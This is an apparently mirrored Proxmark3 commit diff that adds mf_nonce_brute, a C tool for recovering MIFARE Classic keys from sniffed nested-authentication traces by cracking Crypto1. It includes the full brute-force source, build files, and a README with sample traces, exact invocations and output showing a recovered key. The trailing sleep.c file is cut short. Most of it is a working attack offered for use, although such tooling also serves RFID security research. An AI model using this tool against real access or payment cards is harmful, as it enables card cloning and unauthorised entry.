mirror of
https://github.com/RfidResearchGroup/proxmark3.git
synced 2025-01-27 10:29:18 +08:00
Add mf_nonce_brute from https://github.com/iceman1001/mf_nonce_brute and merge to pm3 Makefile
This commit is contained in:
parent
f7bbf8b59f
commit
a739d33398
11 changed files with 698 additions and 6 deletions
2
.gitignore
vendored
2
.gitignore
vendored
|
@ -87,7 +87,7 @@ client/dumps/*
|
|||
*.ice
|
||||
*.new
|
||||
armsrc/TEMP EMV/*
|
||||
tools/mf_nonce_brute/*
|
||||
tools/mf_nonce_brute/mf_nonce_brute
|
||||
tools/andrew/*
|
||||
tools/jtag_openocd/openocd_configuration
|
||||
ppls patches/*
|
||||
|
|
|
@ -17,6 +17,8 @@ endif
|
|||
|
||||
CFLAGS ?= $(DEFCFLAGS)
|
||||
CFLAGS += $(MYDEFS) $(MYCFLAGS) $(MYINCLUDES)
|
||||
LDFLAGS += $(MYLDFLAGS)
|
||||
LDLIBS += $(MYLDLIBS)
|
||||
|
||||
vpath %.c $(MYSRCPATHS)
|
||||
|
||||
|
@ -66,7 +68,7 @@ $(BINDIR)/$(LIB_A): $(MYOBJS)
|
|||
|
||||
$(BINDIR)/% : $(OBJDIR)/%.o $(MYOBJS) $(MYLIBS)
|
||||
$(info [=] LD $(notdir $@))
|
||||
$(Q)$(LD) $(LDFLAGS) $(MYOBJS) $< -o $@ $(MYLIBS)
|
||||
$(Q)$(LD) $(LDFLAGS) $(MYOBJS) $< -o $@ $(MYLIBS) $(MYLDLIBS)
|
||||
|
||||
$(OBJDIR)/%.o : %.c | $(OBJDIR)
|
||||
$(info [-] CC $<)
|
||||
|
|
|
@ -11,10 +11,6 @@ get_crapto1:
|
|||
$(WGET) http://crapto1.netgarage.org/crapto1-v3.3.tar.xz
|
||||
$(TAR) Jxvf crapto1-v3.3.tar.xz -C crapto1-v3.3
|
||||
|
||||
get_nonce_bf:
|
||||
# $(GIT) https://github.com/J-Run/mf_key_brute.git mf_key_brute
|
||||
$(GIT) https://github.com/iceman1001/mf_nonce_brute mf_nonce_brute
|
||||
|
||||
get_xorsearch:
|
||||
$(MKDIR) xorsearch
|
||||
$(WGET) https://didierstevens.com/files/software/XORSearch_V1_11_2.zip
|
||||
|
|
20
tools/mf_nonce_brute/Makefile
Normal file
20
tools/mf_nonce_brute/Makefile
Normal file
|
@ -0,0 +1,20 @@
|
|||
MYSRCPATHS = ../../common ../../common/crapto1
|
||||
MYSRCS = crypto1.c crapto1.c bucketsort.c iso14443crc.c sleep.c
|
||||
MYINCLUDES = -I../../include -I../../common
|
||||
MYCFLAGS =
|
||||
MYDEFS =
|
||||
MYLDLIBS = -lpthread
|
||||
|
||||
BINS = mf_nonce_brute
|
||||
INSTALLTOOLS = $(BINS)
|
||||
|
||||
include ../../Makefile.host
|
||||
|
||||
# checking platform can be done only after Makefile.host
|
||||
ifneq (,$(findstring MINGW,$(platform)))
|
||||
# Mingw uses by default Microsoft printf, we want the GNU printf (e.g. for %z)
|
||||
# and setting _ISOC99_SOURCE sets internally __USE_MINGW_ANSI_STDIO=1
|
||||
CFLAGS += -D_ISOC99_SOURCE
|
||||
endif
|
||||
|
||||
mf_nonce_brute : $(OBJDIR)/mf_nonce_brute.o $(MYOBJS)
|
132
tools/mf_nonce_brute/README.md
Normal file
132
tools/mf_nonce_brute/README.md
Normal file
|
@ -0,0 +1,132 @@
|
|||
mf_nonce_brute
|
||||
==============
|
||||
|
||||
Nested authentificated sector key recovery tool
|
||||
-----------------------------------------------
|
||||
|
||||
Compatible tags:
|
||||
* Mifare Classic 1k (4k)
|
||||
* Mifare Plus in SL1 mode
|
||||
|
||||
To recover keys to nested authentificated sectors you need a reader-card communication log. To get it use
|
||||
hardware tools that able to sniff communication (for example Proxmark3 or HydraNFC).
|
||||
|
||||
This enhanced version:
|
||||
First 2 bytes should be bruteforced in phase 2 with mf_key_brute tool that interacts with a card.
|
||||
|
||||
Sample trace:
|
||||
```
|
||||
93 70 fd ac f6 d8 7f 21 4f // select card with UID fdacf6d8
|
||||
TAG 08 b6 dd // sak
|
||||
60 04 d1 3d // wanna auth block 0x04 with A key
|
||||
TAG ed 12 9c 74 // 1st auth clear text nt
|
||||
55 53 9f cc 41 8d e8 f3 // nr', ar' (nr^ks1, ar^ks2 )
|
||||
TAG 05 49 e1 65 // at' ( at^ks3 )
|
||||
03 24 26 56 // wanna read block 0x04
|
||||
TAG ac 69 ef 58 45 e1 c2 1d a9 47 a5 94 54 ef 5d c7 1e a9 // block 0x04 content
|
||||
d4 3e a8 aa
|
||||
TAG 8e 8e e3 e6 e9 e2 5f dd f6 08 ce fb 02 6a db 75 94 2f
|
||||
79 77 68 3c
|
||||
TAG e0 00 00 80 80 08 cc 80 08 9c 82 e0 68 64 60 30 91 60 // 18 bytes = 16 byte content + 2 bytes crc
|
||||
ea 88 c3 c2 // 4 byte read cmd
|
||||
TAG a3 76 dc df c1 42 e0 ee c6 75 a4 ca eb 0c da eb 46 a0 // 18 bytes = 16 byte content + 2 bytes crc ks8 + crc
|
||||
2d 27 ab 6f // wanna auth to 0x04 block with key B
|
||||
|
||||
-------Until this line we can recover key or decrypt communication with no troubles (see mfkey64 tool)--------------------------------
|
||||
|
||||
TAG 52 6e af 8b // nested auth encrypted tag nonce that we dont know
|
||||
8e 21 3a 29 a4 80 7e 02 // nr_enc = nr^ks1, ar_enc = ar^ks2
|
||||
TAG b9 43 74 8d // at_enc = at^ks3
|
||||
e2 25 f8 32 // probably next command (actually is read block cmd, but we dont know it yet)
|
||||
TAG 1f 26 82 8d 12 21 dd 42 c2 84 3e d0 26 7f 6b 2a 81 a9 // probably data
|
||||
ba 85 1d 36 // probably read cmd
|
||||
TAG 62 a8 78 69 ee 36 22 16 1c ff 4b 4e 69 cb 27 c2 e8 7e // probably data
|
||||
a7 b1 c8 da // probably read cmd
|
||||
TAG b2 fc 6c 65 60 ec 35 83 87 56 e3 7e 3c bf 38 b8 73 21 // probably data
|
||||
99 92 13 55 // probably read cmd
|
||||
TAG 93 5b 65 a3 1d 8c 75 b8 3a 63 e2 31 f0 d0 a9 24 9a f6 // probably data
|
||||
```
|
||||
|
||||
|
||||
Phase 1
|
||||
-------
|
||||
|
||||
Syntax:
|
||||
`mf_nonce_brute <uid> <{nt}> <nt_par_err> <{nr}> <{ar}> <ar_par_err> <{at}> <at_par_err> [<{next_command}>]`
|
||||
|
||||
Example: if `nt` in trace is `8c! 42 e6! 4e!`, then `nt` is `8c42e64e` and `nt_par_err` is `1011`
|
||||
|
||||
Example with parity (from this trace http://www.proxmark.org/forum/viewtopic.php?pid=550#p550) :
|
||||
|
||||
```
|
||||
+ 561882: 1 : 26
|
||||
+ 64: 2 : TAG 04 00
|
||||
+ 10217: 2 : 93 20
|
||||
+ 64: 5 : TAG 9c 59 9b 32 6c UID
|
||||
+ 12313: 9 : 93 70 9c 59 9b 32 6c 6b 30
|
||||
+ 64: 3 : TAG 08 b6 dd
|
||||
+ 923318: 4 : 60 00 f5 7b AUTH Block 0
|
||||
+ 112: 4 : TAG 82 a4 16 6c Nonce Tag (NT)
|
||||
+ 6985: 8 : a1 e4! 58 ce! 6e ea! 41 e0! NR , AR
|
||||
+ 64: 4 : TAG 5c! ad f4 39! AT
|
||||
+ 811513: 4 : 8e 0e! 5d! b9 AUTH Block 0 (nested)
|
||||
+ 112: 4 : TAG 5a! 92 0d! 85! Nonce Tag (NT)
|
||||
+ 6946: 8 : 98! d7 6b! 77 d6 c6 e8 70 NR , AR
|
||||
+ 64: 4 : TAG ca 7e! 0b! 63! AT
|
||||
+ 670868: 4 : 3e! 70 9c! 8a
|
||||
+ 112: 4 : TAG 36! 41 24! 79
|
||||
+ 9505: 8 : 1b! 8c 3a! 48! 83 5a 4a! 27
|
||||
+ 64: 4 : TAG 40! 6a! 99! 4b
|
||||
+ 905612: 4 : c9 7c 64! 13! !crc
|
||||
+ 112: 4 : TAG b5! ab! 1d! 2b
|
||||
+ 6936: 8 : 7e! d2 5c! ca! 4b! 50! 88! c4 !crc
|
||||
+ 64: 4 : TAG bf dd 01 be!
|
||||
+ 987853: 4 : 56 98 49 d6! !crc
|
||||
```
|
||||
=>
|
||||
```
|
||||
./mf_nonce_brute 9c599b32 82a4166c 0000 a1e458ce 6eea41e0 0101 5cadf439 1001 3e709c8a
|
||||
| | | | | | | | |
|
||||
+UID +nt_enc | +nr_enc +ar_enc | +at_enc | +encrypted next cmd
|
||||
+nt_par_err +at_par_err +at_par_err
|
||||
```
|
||||
|
||||
These two taken from above use the plaintext tagnonce `nt`=`82a4166c`, they still find a possible key candidate.
|
||||
```
|
||||
./mf_nonce_brute 9c599b32 82a4166c 0000 a1e458ce 6eea41e0 0101 5cadf439 1001
|
||||
./mf_nonce_brute 9c599b32 82a4166c 0000 98d76b77 d6c6e870 0000 ca7e0b63 0111
|
||||
```
|
||||
|
||||
This one uses the encrypted tagnonce `nt`=`5a920d85`, it finds a valid key.
|
||||
```
|
||||
./mf_nonce_brute 9c599b32 5a920d85 1011 98d76b77 d6c6e870 0000 ca7e0b63 0111
|
||||
```
|
||||
|
||||
This one uses the encrypted tagnonce `nt`=`5a920d85` and the encrypted cmd `3e709c8a` to validate , it finds a valid key.
|
||||
```
|
||||
./mf_nonce_brute 9c599b32 5a920d85 1011 98d76b77 d6c6e870 0000 ca7e0b63 0111 3e709c8a
|
||||
```
|
||||
Full output:
|
||||
```
|
||||
$ ./mf_nonce_brute 9c599b32 5a920d85 1011 98d76b77 d6c6e870 0000 ca7e0b63 0111 3e709c8a
|
||||
Mifare classic nested auth key recovery. Phase 1.
|
||||
-------------------------------------------------
|
||||
uid: 9c599b32
|
||||
nt encrypted: 5a920d85
|
||||
nt parity err: 1011
|
||||
nr encrypted: 98d76b77
|
||||
ar encrypted: d6c6e870
|
||||
ar parity err: 0000
|
||||
at encrypted: ca7e0b63
|
||||
at parity err: 0111
|
||||
next cmd enc: 3e709c8a
|
||||
|
||||
|
||||
Starting 4 threads to bruteforce encrypted tag nonce last bytes
|
||||
CMD enc(3e709c8a)
|
||||
dec(6000f57b) <-- Valid cmd
|
||||
|
||||
Valid Key found: [ffffffffffff]
|
||||
|
||||
Time in mf_nonce_brute (Phase 1): 1763 ticks 2.0 seconds
|
||||
```
|
46
tools/mf_nonce_brute/iso14443crc.c
Normal file
46
tools/mf_nonce_brute/iso14443crc.c
Normal file
|
@ -0,0 +1,46 @@
|
|||
//-----------------------------------------------------------------------------
|
||||
// This code is licensed to you under the terms of the GNU GPL, version 2 or,
|
||||
// at your option, any later version. See the LICENSE.txt file for the text of
|
||||
// the license.
|
||||
//-----------------------------------------------------------------------------
|
||||
// ISO14443 CRC calculation code.
|
||||
//-----------------------------------------------------------------------------
|
||||
|
||||
#include "iso14443crc.h"
|
||||
|
||||
static unsigned short UpdateCrc14443(unsigned char ch, unsigned short *lpwCrc) {
|
||||
ch = (ch ^ (unsigned char)((*lpwCrc) & 0x00FF));
|
||||
ch = (ch ^ (ch << 4));
|
||||
*lpwCrc = (*lpwCrc >> 8) ^ ((unsigned short) ch << 8) ^
|
||||
((unsigned short) ch << 3) ^ ((unsigned short) ch >> 4);
|
||||
return (*lpwCrc);
|
||||
}
|
||||
|
||||
void ComputeCrc14443(int CrcType,
|
||||
const unsigned char *Data, int Length,
|
||||
unsigned char *TransmitFirst,
|
||||
unsigned char *TransmitSecond) {
|
||||
unsigned char chBlock;
|
||||
unsigned short wCrc = CrcType;
|
||||
|
||||
do {
|
||||
chBlock = *Data++;
|
||||
UpdateCrc14443(chBlock, &wCrc);
|
||||
} while (--Length);
|
||||
|
||||
if (CrcType == CRC_14443_B)
|
||||
wCrc = ~wCrc; /* ISO/IEC 13239 (formerly ISO/IEC 3309) */
|
||||
|
||||
*TransmitFirst = (unsigned char)(wCrc & 0xFF);
|
||||
*TransmitSecond = (unsigned char)((wCrc >> 8) & 0xFF);
|
||||
return;
|
||||
}
|
||||
|
||||
int CheckCrc14443(int CrcType, const unsigned char *Data, int Length) {
|
||||
unsigned char b1;
|
||||
unsigned char b2;
|
||||
if (Length < 3) return 0;
|
||||
ComputeCrc14443(CrcType, Data, Length - 2, &b1, &b2);
|
||||
if ((b1 == Data[Length - 2]) && (b2 == Data[Length - 1])) return 1;
|
||||
return 0;
|
||||
}
|
26
tools/mf_nonce_brute/iso14443crc.h
Normal file
26
tools/mf_nonce_brute/iso14443crc.h
Normal file
|
@ -0,0 +1,26 @@
|
|||
//-----------------------------------------------------------------------------
|
||||
// This code is licensed to you under the terms of the GNU GPL, version 2 or,
|
||||
// at your option, any later version. See the LICENSE.txt file for the text of
|
||||
// the license.
|
||||
//-----------------------------------------------------------------------------
|
||||
// ISO14443 CRC calculation code.
|
||||
//-----------------------------------------------------------------------------
|
||||
|
||||
#ifndef __ISO14443CRC_H
|
||||
#define __ISO14443CRC_H
|
||||
|
||||
//-----------------------------------------------------------------------------
|
||||
// Routines to compute the CRCs (two different flavours, just for confusion)
|
||||
// required for ISO 14443, swiped directly from the spec.
|
||||
//-----------------------------------------------------------------------------
|
||||
#define CRC_14443_A 0x6363 /* ITU-V.41 */
|
||||
#define CRC_14443_B 0xFFFF /* ISO/IEC 13239 (formerly ISO/IEC 3309) */
|
||||
#define CRC_ICLASS 0xE012 /* ICLASS PREFIX */
|
||||
|
||||
void ComputeCrc14443(int CrcType,
|
||||
const unsigned char *Data, int Length,
|
||||
unsigned char *TransmitFirst,
|
||||
unsigned char *TransmitSecond);
|
||||
int CheckCrc14443(int CrcType, const unsigned char *Data, int Length);
|
||||
|
||||
#endif
|
395
tools/mf_nonce_brute/mf_nonce_brute.c
Normal file
395
tools/mf_nonce_brute/mf_nonce_brute.c
Normal file
|
@ -0,0 +1,395 @@
|
|||
#define __STDC_FORMAT_MACROS
|
||||
#define _USE_32BIT_TIME_T 1
|
||||
#include <inttypes.h>
|
||||
#include <stdio.h>
|
||||
#include <stdbool.h>
|
||||
#include <string.h>
|
||||
#include <pthread.h>
|
||||
#include <stdlib.h>
|
||||
#include <unistd.h>
|
||||
#include <time.h>
|
||||
#include "crapto1/crapto1.h"
|
||||
#include "protocol.h"
|
||||
#include "iso14443crc.h"
|
||||
|
||||
#define odd_parity(i) (( (i) ^ (i)>>1 ^ (i)>>2 ^ (i)>>3 ^ (i)>>4 ^ (i)>>5 ^ (i)>>6 ^ (i)>>7 ^ 1) & 0x01)
|
||||
|
||||
// a global mutex to prevent interlaced printing from different threads
|
||||
pthread_mutex_t print_lock;
|
||||
|
||||
//--------------------- define options here
|
||||
uint32_t uid = 0; // serial number
|
||||
uint32_t nt_enc = 0; // Encrypted tag nonce
|
||||
uint32_t nr_enc = 0; // encrypted reader challenge
|
||||
uint32_t ar_enc = 0; // encrypted reader response
|
||||
uint32_t at_enc = 0; // encrypted tag response
|
||||
uint32_t cmd_enc = 0; // next encrypted command to sector
|
||||
|
||||
uint32_t nt_par_err = 0;
|
||||
uint32_t ar_par_err = 0;
|
||||
uint32_t at_par_err = 0;
|
||||
|
||||
typedef struct thread_args {
|
||||
uint16_t xored;
|
||||
int thread;
|
||||
int idx;
|
||||
bool ev1;
|
||||
} targs;
|
||||
|
||||
//------------------------------------------------------------------
|
||||
uint8_t cmds[] = {
|
||||
ISO14443A_CMD_READBLOCK,
|
||||
ISO14443A_CMD_WRITEBLOCK,
|
||||
MIFARE_AUTH_KEYA,
|
||||
MIFARE_AUTH_KEYB,
|
||||
MIFARE_CMD_INC,
|
||||
MIFARE_CMD_DEC,
|
||||
MIFARE_CMD_RESTORE,
|
||||
MIFARE_CMD_TRANSFER
|
||||
};
|
||||
|
||||
int global_counter = 0;
|
||||
int global_fin_flag = 0;
|
||||
int global_found = 0;
|
||||
int global_found_candidate = 0;
|
||||
size_t thread_count = 4;
|
||||
|
||||
static uint16_t parity_from_err(uint32_t data, uint16_t par_err) {
|
||||
|
||||
uint16_t par = 0;
|
||||
par |= odd_parity((data >> 24) & 0xFF) ^ ((par_err >> 12) & 1);
|
||||
par <<= 4;
|
||||
|
||||
par |= odd_parity((data >> 16) & 0xFF) ^ ((par_err >> 8) & 1);
|
||||
par <<= 4;
|
||||
|
||||
par |= odd_parity((data >> 8) & 0xFF) ^ ((par_err >> 4) & 1);
|
||||
par <<= 4;
|
||||
|
||||
par |= odd_parity(data & 0xFF) ^ (par_err & 1);
|
||||
return par;
|
||||
}
|
||||
|
||||
static uint16_t xored_bits(uint16_t nt_par, uint32_t ntenc, uint16_t ar_par, uint32_t arenc, uint16_t at_par, uint32_t atenc) {
|
||||
uint16_t xored = 0;
|
||||
|
||||
uint8_t par;
|
||||
//1st (1st nt)
|
||||
par = (nt_par >> 12) & 1;
|
||||
xored |= par ^ ((ntenc >> 16) & 1);
|
||||
xored <<= 1;
|
||||
|
||||
//2nd (2nd nt)
|
||||
par = (nt_par >> 8) & 1;
|
||||
xored |= par ^ ((ntenc >> 8) & 1);
|
||||
xored <<= 1;
|
||||
|
||||
//3rd (3rd nt)
|
||||
par = (nt_par >> 4) & 1;
|
||||
xored |= par ^ (ntenc & 1);
|
||||
xored <<= 1;
|
||||
|
||||
//4th (1st ar)
|
||||
par = (ar_par >> 12) & 1;
|
||||
xored |= par ^ ((arenc >> 16) & 1);
|
||||
xored <<= 1;
|
||||
|
||||
//5th (2nd ar)
|
||||
par = (ar_par >> 8) & 1;
|
||||
xored |= par ^ ((arenc >> 8) & 1);
|
||||
xored <<= 1;
|
||||
|
||||
//6th (3rd ar)
|
||||
par = (ar_par >> 4) & 1;
|
||||
xored |= par ^ (arenc & 1);
|
||||
xored <<= 1;
|
||||
|
||||
//7th (4th ar)
|
||||
par = ar_par & 1;
|
||||
xored |= par ^ ((atenc >> 24) & 1);
|
||||
xored <<= 1;
|
||||
|
||||
//8th (1st at)
|
||||
par = (at_par >> 12) & 1;
|
||||
xored |= par ^ ((atenc >> 16) & 1);
|
||||
xored <<= 1;
|
||||
|
||||
//9th (2nd at)
|
||||
par = (at_par >> 8) & 1;
|
||||
xored |= par ^ ((atenc >> 8) & 1);
|
||||
xored <<= 1;
|
||||
|
||||
//10th (3rd at)
|
||||
par = (at_par >> 4) & 1;
|
||||
xored |= par ^ (atenc & 1);
|
||||
|
||||
return xored;
|
||||
}
|
||||
|
||||
static bool candidate_nonce(uint32_t xored, uint32_t nt, bool ev1) {
|
||||
uint8_t byte, check;
|
||||
|
||||
if (!ev1) {
|
||||
//1st (1st nt)
|
||||
byte = (nt >> 24) & 0xFF;
|
||||
check = odd_parity(byte) ^ ((nt >> 16) & 1) ^ ((xored >> 9) & 1);
|
||||
if (check) return false;
|
||||
|
||||
//2nd (2nd nt)
|
||||
byte = (nt >> 16) & 0xFF;
|
||||
check = odd_parity(byte) ^ ((nt >> 8) & 1) ^ ((xored >> 8) & 1);
|
||||
if (check) return false;
|
||||
}
|
||||
|
||||
//3rd (3rd nt)
|
||||
byte = (nt >> 8) & 0xFF;
|
||||
check = odd_parity(byte) ^ (nt & 1) ^ ((xored >> 7) & 1);
|
||||
if (check) return false;
|
||||
|
||||
uint32_t ar = prng_successor(nt, 64);
|
||||
|
||||
//4th (1st ar)
|
||||
byte = (ar >> 24) & 0xFF;
|
||||
check = odd_parity(byte) ^ ((ar >> 16) & 1) ^ ((xored >> 6) & 1);
|
||||
if (check) return false;
|
||||
|
||||
//5th (2nd ar)
|
||||
byte = (ar >> 16) & 0x0FF;
|
||||
check = odd_parity(byte) ^ ((ar >> 8) & 1) ^ ((xored >> 5) & 1);
|
||||
if (check) return false;
|
||||
|
||||
//6th (3rd ar)
|
||||
byte = (ar >> 8) & 0xFF;
|
||||
check = odd_parity(byte) ^ (ar & 1) ^ ((xored >> 4) & 1);
|
||||
if (check) return false;
|
||||
|
||||
uint32_t at = prng_successor(nt, 96);
|
||||
|
||||
//7th (4th ar)
|
||||
byte = ar & 0xFF;
|
||||
check = odd_parity(byte) ^ ((at >> 24) & 1) ^ ((xored >> 3) & 1);
|
||||
if (check) return false;
|
||||
|
||||
//8th (1st at)
|
||||
byte = (at >> 24) & 0xFF;
|
||||
check = odd_parity(byte) ^ ((at >> 16) & 1) ^ ((xored >> 2) & 1);
|
||||
if (check) return false;
|
||||
|
||||
//9th (2nd at)
|
||||
byte = (at >> 16) & 0xFF;
|
||||
check = odd_parity(byte) ^ ((at >> 8) & 1) ^ ((xored >> 1) & 1) ;
|
||||
if (check) return false;
|
||||
|
||||
//10th (3rd at)
|
||||
byte = (at >> 8) & 0xFF;
|
||||
check = odd_parity(byte) ^ (at & 1) ^ (xored & 1);
|
||||
if (check) return false;
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
static bool checkValidCmd(uint32_t decrypted) {
|
||||
uint8_t cmd = (decrypted >> 24) & 0xFF;
|
||||
for (int i = 0; i < sizeof(cmds); ++i) {
|
||||
if (cmd == cmds[i])
|
||||
return true;
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
static bool checkCRC(uint32_t decrypted) {
|
||||
uint8_t data[] = {
|
||||
(decrypted >> 24) & 0xFF,
|
||||
(decrypted >> 16) & 0xFF,
|
||||
(decrypted >> 8) & 0xFF,
|
||||
decrypted & 0xFF
|
||||
};
|
||||
return CheckCrc14443(CRC_14443_A, data, sizeof(data));
|
||||
}
|
||||
|
||||
static void *brute_thread(void *arguments) {
|
||||
|
||||
//int shift = (int)arg;
|
||||
struct thread_args *args = (struct thread_args *) arguments;
|
||||
|
||||
struct Crypto1State *revstate;
|
||||
uint64_t key; // recovered key candidate
|
||||
uint32_t ks2; // keystream used to encrypt reader response
|
||||
uint32_t ks3; // keystream used to encrypt tag response
|
||||
uint32_t ks4; // keystream used to encrypt next command
|
||||
uint32_t nt; // current tag nonce
|
||||
|
||||
uint32_t p64 = 0;
|
||||
uint32_t count;
|
||||
int found = 0;
|
||||
// TC == 4 (
|
||||
// threads calls 0 ev1 == false
|
||||
// threads calls 0,1,2 ev1 == true
|
||||
for (count = args->idx; count < 0xFFFF; count += thread_count - 1) {
|
||||
|
||||
found = global_found;
|
||||
if (found) break;
|
||||
|
||||
nt = count << 16 | prng_successor(count, 16);
|
||||
|
||||
if (!candidate_nonce(args->xored, nt, args->ev1))
|
||||
continue;
|
||||
|
||||
p64 = prng_successor(nt, 64);
|
||||
ks2 = ar_enc ^ p64;
|
||||
ks3 = at_enc ^ prng_successor(p64, 32);
|
||||
revstate = lfsr_recovery64(ks2, ks3);
|
||||
ks4 = crypto1_word(revstate, 0, 0);
|
||||
|
||||
if (ks4 != 0) {
|
||||
|
||||
// lock this section to avoid interlacing prints from different threats
|
||||
pthread_mutex_lock(&print_lock);
|
||||
if (args->ev1)
|
||||
printf("\n**** Possible key candidate ****\n");
|
||||
|
||||
#if 0
|
||||
printf("thread #%d idx %d %s\n", args->thread, args->idx, (args->ev1) ? "(Ev1)" : "");
|
||||
printf("current nt(%08x) ar_enc(%08x) at_enc(%08x)\n", nt, ar_enc, at_enc);
|
||||
printf("ks2:%08x\n", ks2);
|
||||
printf("ks3:%08x\n", ks3);
|
||||
printf("ks4:%08x\n", ks4);
|
||||
#endif
|
||||
if (cmd_enc) {
|
||||
uint32_t decrypted = ks4 ^ cmd_enc;
|
||||
printf("CMD enc(%08x)\n", cmd_enc);
|
||||
printf(" dec(%08x)\t", decrypted);
|
||||
|
||||
uint8_t isOK = 0;
|
||||
// check if cmd exists
|
||||
isOK = checkValidCmd(decrypted);
|
||||
|
||||
// Add a crc-check.
|
||||
isOK = checkCRC(decrypted);
|
||||
|
||||
if (!isOK) {
|
||||
printf("<-- not a valid cmd\n");
|
||||
pthread_mutex_unlock(&print_lock);
|
||||
continue;
|
||||
} else {
|
||||
printf("<-- Valid cmd\n");
|
||||
}
|
||||
}
|
||||
|
||||
lfsr_rollback_word(revstate, 0, 0);
|
||||
lfsr_rollback_word(revstate, 0, 0);
|
||||
lfsr_rollback_word(revstate, 0, 0);
|
||||
lfsr_rollback_word(revstate, nr_enc, 1);
|
||||
lfsr_rollback_word(revstate, uid ^ nt, 0);
|
||||
crypto1_get_lfsr(revstate, &key);
|
||||
free(revstate);
|
||||
|
||||
if (args->ev1) {
|
||||
printf("\nKey candidate: [%012" PRIx64 "]\n\n", key);
|
||||
__sync_fetch_and_add(&global_found_candidate, 1);
|
||||
} else {
|
||||
printf("\nValid Key found: [%012" PRIx64 "]\n\n", key);
|
||||
__sync_fetch_and_add(&global_found, 1);
|
||||
}
|
||||
//release lock
|
||||
pthread_mutex_unlock(&print_lock);
|
||||
}
|
||||
}
|
||||
return NULL;
|
||||
}
|
||||
|
||||
static int usage(void) {
|
||||
printf(" syntax: mf_nonce_brute <uid> <nt> <nt_par_err> <nr> <ar> <ar_par_err> <at> <at_par_err> [<next_command>]\n\n");
|
||||
printf(" example: nt in trace = 8c! 42 e6! 4e!\n");
|
||||
printf(" nt = 8c42e64e\n");
|
||||
printf(" nt_par_err = 1011\n\n");
|
||||
printf("\n expected outcome:\n");
|
||||
printf(" KEY 0xFFFFFFFFFFFF == fa247164 fb47c594 0000 71909d28 0c254817 1000 0dc7cfbd 1110\n");
|
||||
return 1;
|
||||
}
|
||||
|
||||
int main(int argc, char *argv[]) {
|
||||
printf("Mifare classic nested auth key recovery. Phase 1.\n");
|
||||
|
||||
if (argc < 9) return usage();
|
||||
|
||||
sscanf(argv[1], "%x", &uid);
|
||||
sscanf(argv[2], "%x", &nt_enc);
|
||||
sscanf(argv[3], "%x", &nt_par_err);
|
||||
sscanf(argv[4], "%x", &nr_enc);
|
||||
sscanf(argv[5], "%x", &ar_enc);
|
||||
sscanf(argv[6], "%x", &ar_par_err);
|
||||
sscanf(argv[7], "%x", &at_enc);
|
||||
sscanf(argv[8], "%x", &at_par_err);
|
||||
|
||||
if (argc > 9)
|
||||
sscanf(argv[9], "%x", &cmd_enc);
|
||||
|
||||
printf("-------------------------------------------------\n");
|
||||
printf("uid:\t\t%08x\n", uid);
|
||||
printf("nt encrypted:\t%08x\n", nt_enc);
|
||||
printf("nt parity err:\t%04x\n", nt_par_err);
|
||||
printf("nr encrypted:\t%08x\n", nr_enc);
|
||||
printf("ar encrypted:\t%08x\n", ar_enc);
|
||||
printf("ar parity err:\t%04x\n", ar_par_err);
|
||||
printf("at encrypted:\t%08x\n", at_enc);
|
||||
printf("at parity err:\t%04x\n", at_par_err);
|
||||
|
||||
if (argc > 9)
|
||||
printf("next cmd enc:\t%08x\n\n", cmd_enc);
|
||||
|
||||
clock_t t1 = clock();
|
||||
uint16_t nt_par = parity_from_err(nt_enc, nt_par_err);
|
||||
uint16_t ar_par = parity_from_err(ar_enc, ar_par_err);
|
||||
uint16_t at_par = parity_from_err(at_enc, at_par_err);
|
||||
|
||||
//calc (parity XOR corresponding nonce bit encoded with the same keystream bit)
|
||||
uint16_t xored = xored_bits(nt_par, nt_enc, ar_par, ar_enc, at_par, at_enc);
|
||||
|
||||
#ifndef __WIN32
|
||||
thread_count = sysconf(_SC_NPROCESSORS_CONF);
|
||||
if (thread_count < 2)
|
||||
thread_count = 2;
|
||||
#endif /* _WIN32 */
|
||||
|
||||
printf("\nBruteforce using %zu threads to find encrypted tagnonce last bytes\n", thread_count);
|
||||
|
||||
pthread_t threads[thread_count];
|
||||
|
||||
// create a mutex to avoid interlacing print commands from our different threads
|
||||
pthread_mutex_init(&print_lock, NULL);
|
||||
|
||||
// one thread T0 for none EV1.
|
||||
struct thread_args *a = malloc(sizeof(struct thread_args));
|
||||
a->xored = xored;
|
||||
a->thread = 0;
|
||||
a->idx = 0;
|
||||
a->ev1 = false;
|
||||
pthread_create(&threads[0], NULL, brute_thread, (void *)a);
|
||||
|
||||
// the rest of available threads to EV1 scenario
|
||||
for (int i = 0; i < thread_count - 1; ++i) {
|
||||
struct thread_args *b = malloc(sizeof(struct thread_args));
|
||||
b->xored = xored;
|
||||
b->thread = i + 1;
|
||||
b->idx = i;
|
||||
b->ev1 = true;
|
||||
pthread_create(&threads[i + 1], NULL, brute_thread, (void *)b);
|
||||
}
|
||||
|
||||
// wait for threads to terminate:
|
||||
for (int i = 0; i < thread_count; ++i)
|
||||
pthread_join(threads[i], NULL);
|
||||
|
||||
if (!global_found && !global_found_candidate) {
|
||||
printf("\nFailed to find a key\n\n");
|
||||
}
|
||||
|
||||
t1 = clock() - t1;
|
||||
if (t1 > 0)
|
||||
printf("Execution time: %.0f ticks\n", (float)t1);
|
||||
|
||||
// clean up mutex
|
||||
pthread_mutex_destroy(&print_lock);
|
||||
return 0;
|
||||
}
|
20
tools/mf_nonce_brute/protocol.h
Normal file
20
tools/mf_nonce_brute/protocol.h
Normal file
|
@ -0,0 +1,20 @@
|
|||
#ifndef PROTOCOL_H
|
||||
#define PROTOCOL_H
|
||||
|
||||
#define ISO14443A_CMD_READBLOCK 0x30
|
||||
#define ISO14443A_CMD_WRITEBLOCK 0xA0
|
||||
|
||||
#define MIFARE_AUTH_KEYA 0x60
|
||||
#define MIFARE_AUTH_KEYB 0x61
|
||||
#define MIFARE_CMD_INC 0xC0
|
||||
#define MIFARE_CMD_DEC 0xC1
|
||||
#define MIFARE_CMD_RESTORE 0xC2
|
||||
#define MIFARE_CMD_TRANSFER 0xB0
|
||||
|
||||
// mifare 4bit card answers
|
||||
#define CARD_ACK 0x0A // 1010 - ACK
|
||||
#define CARD_NACK_NA 0x04 // 0100 - NACK, not allowed (command not allowed)
|
||||
#define CARD_NACK_TR 0x05 // 0101 - NACK, transmission error
|
||||
|
||||
#endif
|
||||
// PROTOCOL_H
|
28
tools/mf_nonce_brute/sleep.c
Normal file
28
tools/mf_nonce_brute/sleep.c
Normal file
|
@ -0,0 +1,28 @@
|
|||
//-----------------------------------------------------------------------------
|
||||
// Copyright (C) 2010 iZsh <izsh at fail0verflow.com>
|
||||
//
|
||||
